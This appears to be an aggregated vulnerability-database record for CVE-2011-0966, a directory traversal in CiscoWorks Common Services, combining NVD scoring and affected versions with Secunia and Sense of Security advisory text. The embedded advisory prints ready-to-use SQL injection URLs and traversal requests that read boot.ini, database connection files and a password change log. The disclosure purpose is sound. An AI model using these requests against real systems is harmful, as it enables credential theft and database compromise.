Sign-up

ID

VAR-201105-0050


CVE

CVE-2011-0966


TITLE

Cisco CiscoWorks Common Services Vulnerable to directory traversal

Trust: 0.8

sources: JVNDB: JVNDB-2011-003131

DESCRIPTION

Directory traversal vulnerability in cwhp/auditLog.do in the Homepage Auditing component in Cisco CiscoWorks Common Services 3.3 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, aka Bug ID CSCto35577. CiscoWorks Common Services is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer. This issue is being monitored by Cisco Bug ID CSCto35577. CiscoWorks Common Services 3.3 and prior are vulnerable. ---------------------------------------------------------------------- http://twitter.com/secunia http://www.facebook.com/Secunia ---------------------------------------------------------------------- TITLE: CiscoWorks Common Services "file" Directory Traversal Vulnerability SECUNIA ADVISORY ID: SA44646 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/44646/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=44646 RELEASE DATE: 2011-05-20 DISCUSS ADVISORY: http://secunia.com/advisories/44646/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/44646/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=44646 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: A vulnerability has been reported in CiscoWorks Common Services, which can be exploited by malicious people to disclose sensitive information. Input passed via the "file" parameter to cwhp/auditLog.do in the Homepage Auditing component is not properly verified before being used to read files. This can be exploited to disclose the contents of arbitrary files via directory traversal sequences. SOLUTION: Restrict access to trusted hosts only. PROVIDED AND/OR DISCOVERED BY: Sense of Security Labs ORIGINAL ADVISORY: Cisco: http://tools.cisco.com/security/center/viewAlert.x?alertId=23089 Sense of Security Labs: http://www.senseofsecurity.com.au/advisories/SOS-11-006 OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ EXPLOIT: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. Sense of Security - Security Advisory - SOS-11-006 Release Date. 18-May-2011 Last Update. - Vendor Notification Date. 28-Feb-2011 Product. Platform. Microsoft Windows Affected versions. CuOM 8.0 and 8.5 (verified), possibly others. Severity Rating. Medium - Low Impact. Database access, cookie and credential theft, impersonation, loss of confidentiality, local file disclosure, information disclosure. Attack Vector. Remote with authentication Solution Status. Vendor patch (upgrade to CuOM 8.6 as advised by Cisco) CVE reference. CVE-2011-0959 (CSCtn61716) CVE-2011-0960 (CSCtn61716) CVE-2011-0961 (CSCto12704) CVE-2011-0962 (CSCto12712) CVE-2011-0966 (CSCto35577) Details. Cisco Unified Operations Manager (CuOM) is a NMS for voice developed by Cisco Systems. Operations Manager monitors and evaluates the current status of both the IP communications infrastructure and the underlying transport infrastructure in your network. Multiple vulnerabilities have been identified in Cisco Unified Operations Manager and associated products. These vulnerabilities include multiple blind SQL injections, multiple XSS. and a directory traversal vulnerability. 1. Blind SQL injection vulnerabilities that affect CuOM CVE-2011-0960 (CSCtn61716): The Variable CCMs of PRTestCreation can trigger a blind SQL injection vulnerability by supplying a single quote, followed by a time delay call: /iptm/PRTestCreation.do?RequestSource=dashboard&MACs=&CCMs='waitfor%20 delay'0:0:20'--&Extns=&IPs= Additionally, variable ccm of TelePresenceReportAction can trigger a blind SQL injection vulnerability by supplying a single quote: /iptm/TelePresenceReportAction.do?ccm='waitfor%20delay'0:0:20'-- 2. Directory traversal vulnerability that affects CiscoWorks Homepage CVE-2011-0966 (CSCto35577): http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini cmfDBA user database info: http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.prope rties DB connection info for all databases: http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.proper ties Note: When reading large files such as this file, ensure the row limit is adjusted to 500 for example. DB password change log: http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program Files\CSCOpx\log\dbpwdChange.log Solution. Upgrade to CuOM 8.6. Refer to Cisco Bug IDs: CSCtn61716, CSCto12704, CSCto12712 and CSCto35577 for information on patches and availability of fixes. Discovered by. Sense of Security Labs. About us. Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the countries largest organisations. Sense of Security Pty Ltd Level 8, 66 King St Sydney NSW 2000 AUSTRALIA T: +61 (0)2 9290 4444 F: +61 (0)2 9290 4455 W: http://www.senseofsecurity.com.au E: info@senseofsecurity.com.au Twitter: @ITsecurityAU The latest version of this advisory can be found at: http://www.senseofsecurity.com.au/advisories/SOS-11-006.pdf Other Sense of Security advisories can be found at: http://www.senseofsecurity.com.au/research/it-security-advisories.php

Trust: 2.16

sources: NVD: CVE-2011-0966 // JVNDB: JVNDB-2011-003131 // BID: 47905 // VULHUB: VHN-48911 // PACKETSTORM: 101558 // PACKETSTORM: 101518

AFFECTED PRODUCTS

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.0.3

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.1

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.0.5

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.0.4

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.2

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.0.6

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:2.2

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.0

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.1.1

Trust: 1.9

vendor:ciscomodel:ciscoworks common servicesscope:lteversion:3.3

Trust: 1.8

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:1.0

Trust: 1.3

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.3

Trust: 0.9

vendor:ciscomodel:ciscoworks common services basescope:eqversion:3.3

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:3.0

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:3.6

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:3.1.1

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:3.0.3

Trust: 0.3

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:2.3

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:1.0

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:3.0.5

Trust: 0.3

vendor:ciscomodel:ciscoworks common servicesscope:eqversion:3.3.0

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:3.0.4

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:2.3

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:3.0.6

Trust: 0.3

vendor:ciscomodel:ciscoworks common services basescope:eqversion:2.2

Trust: 0.3

sources: BID: 47905 // JVNDB: JVNDB-2011-003131 // CNNVD: CNNVD-201105-201 // NVD: CVE-2011-0966

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2011-0966
value: MEDIUM

Trust: 1.0

NVD: CVE-2011-0966
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-201105-201
value: MEDIUM

Trust: 0.6

VULHUB: VHN-48911
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2011-0966
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:L/AU:S/C:C/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.0
impactScore: 6.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-48911
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:L/AU:S/C:C/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.0
impactScore: 6.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-48911 // JVNDB: JVNDB-2011-003131 // CNNVD: CNNVD-201105-201 // NVD: CVE-2011-0966

PROBLEMTYPE DATA

problemtype:CWE-22

Trust: 1.9

sources: VULHUB: VHN-48911 // JVNDB: JVNDB-2011-003131 // NVD: CVE-2011-0966

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 101518 // CNNVD: CNNVD-201105-201

TYPE

path traversal

Trust: 0.6

sources: CNNVD: CNNVD-201105-201

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2011-003131

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-48911

PATCH
title:23089url:http://tools.cisco.com/security/center/viewAlert.x?alertId=23089
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2011-003131

EXTERNAL IDS
db:NVDid:CVE-2011-0966
Trust: 2.9
db:EXPLOIT-DBid:17304
Trust: 1.7
db:JVNDBid:JVNDB-2011-003131
Trust: 0.8
db:CNNVDid:CNNVD-201105-201
Trust: 0.7
db:SECUNIAid:44646
Trust: 0.7
db:FULLDISCid:20110518 CISCO UNIFIED OPERATIONS MANAGER MULTIPLE VULNERABILITIES - SOS-11-006
Trust: 0.6
db:XFid:67525
Trust: 0.6
db:BIDid:47905
Trust: 0.4
db:EXPLOIT-DBid:35781
Trust: 0.1
db:VULHUBid:VHN-48911
Trust: 0.1
db:PACKETSTORMid:101558
Trust: 0.1
db:PACKETSTORMid:101518
Trust: 0.1
sources:
            
            
            VULHUB: VHN-48911 // 
            
            
            
            BID: 47905 // 
            
            
            
            JVNDB: JVNDB-2011-003131 // 
            
            
            
            PACKETSTORM: 101558 // 
            
            
            
            PACKETSTORM: 101518 // 
            
            
            
            CNNVD: CNNVD-201105-201 // 
            
            
            
            NVD: CVE-2011-0966

REFERENCES
url:http://tools.cisco.com/security/center/viewalert.x?alertid=23089
Trust: 2.1
url:http://www.senseofsecurity.com.au/advisories/sos-11-006.pdf
Trust: 1.8
url:http://www.exploit-db.com/exploits/17304
Trust: 1.7
url:http://archives.neohapsis.com/archives/fulldisclosure/2011-05/0371.html
Trust: 1.7
url:https://exchange.xforce.ibmcloud.com/vulnerabilities/67525
Trust: 1.1
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-0966
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2011-0966
Trust: 0.8
url:http://xforce.iss.net/xforce/xfdb/67525
Trust: 0.6
url:http://secunia.com/advisories/44646
Trust: 0.6
url:http://www.cisco.com
Trust: 0.3
url:http://www.senseofsecurity.com.au/advisories/sos-11-006.pdf 
Trust: 0.3
url:http://twitter.com/secunia
Trust: 0.1
url:http://secunia.com/products/corporate/evm/
Trust: 0.1
url:http://www.facebook.com/secunia
Trust: 0.1
url:http://secunia.com/advisories/secunia_security_advisories/
Trust: 0.1
url:http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
Trust: 0.1
url:http://secunia.com/advisories/about_secunia_advisories/
Trust: 0.1
url:http://secunia.com/vulnerability_scanning/personal/
Trust: 0.1
url:http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
Trust: 0.1
url:http://secunia.com/advisories/44646/#comments
Trust: 0.1
url:http://www.senseofsecurity.com.au/advisories/sos-11-006
Trust: 0.1
url:https://ca.secunia.com/?page=viewadvisory&vuln_id=44646
Trust: 0.1
url:http://secunia.com/advisories/44646/
Trust: 0.1
url:http://target:1741/cwhp/auditlog.do?file=..\..\..\..\..\..\..\program
Trust: 0.1
url:http://www.senseofsecurity.com.au
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2011-0961
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2011-0960
Trust: 0.1
url:http://www.senseofsecurity.com.au/research/it-security-advisories.php
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2011-0962
Trust: 0.1
url:http://target:1741/cwhp/auditlog.do?file=..\..\..\..\..\..\..\boot.ini
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2011-0966
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2011-0959
Trust: 0.1
sources:
            
            
            VULHUB: VHN-48911 // 
            
            
            
            BID: 47905 // 
            
            
            
            JVNDB: JVNDB-2011-003131 // 
            
            
            
            PACKETSTORM: 101558 // 
            
            
            
            PACKETSTORM: 101518 // 
            
            
            
            CNNVD: CNNVD-201105-201 // 
            
            
            
            NVD: CVE-2011-0966

CREDITS
Sense of Security Labs
Trust: 0.3
sources:
            
            
            BID: 47905

SOURCES
db:VULHUBid:VHN-48911
db:BIDid:47905
db:JVNDBid:JVNDB-2011-003131
db:PACKETSTORMid:101558
db:PACKETSTORMid:101518
db:CNNVDid:CNNVD-201105-201
db:NVDid:CVE-2011-0966

LAST UPDATE DATE
2024-11-23T22:02:52.470000+00:00

SOURCES UPDATE DATE
db:VULHUBid:VHN-48911date:2017-08-17T00:00:00
db:BIDid:47905date:2011-05-18T00:00:00
db:JVNDBid:JVNDB-2011-003131date:2011-12-01T00:00:00
db:CNNVDid:CNNVD-201105-201date:2011-05-23T00:00:00
db:NVDid:CVE-2011-0966date:2024-11-21T01:25:12.973

SOURCES RELEASE DATE
db:VULHUBid:VHN-48911date:2011-05-20T00:00:00
db:BIDid:47905date:2011-05-18T00:00:00
db:JVNDBid:JVNDB-2011-003131date:2011-12-01T00:00:00
db:PACKETSTORMid:101558date:2011-05-19T07:22:58
db:PACKETSTORMid:101518date:2011-05-18T14:17:13
db:CNNVDid:CNNVD-201105-201date:2011-05-20T00:00:00
db:NVDid:CVE-2011-0966date:2011-05-20T22:55:03.063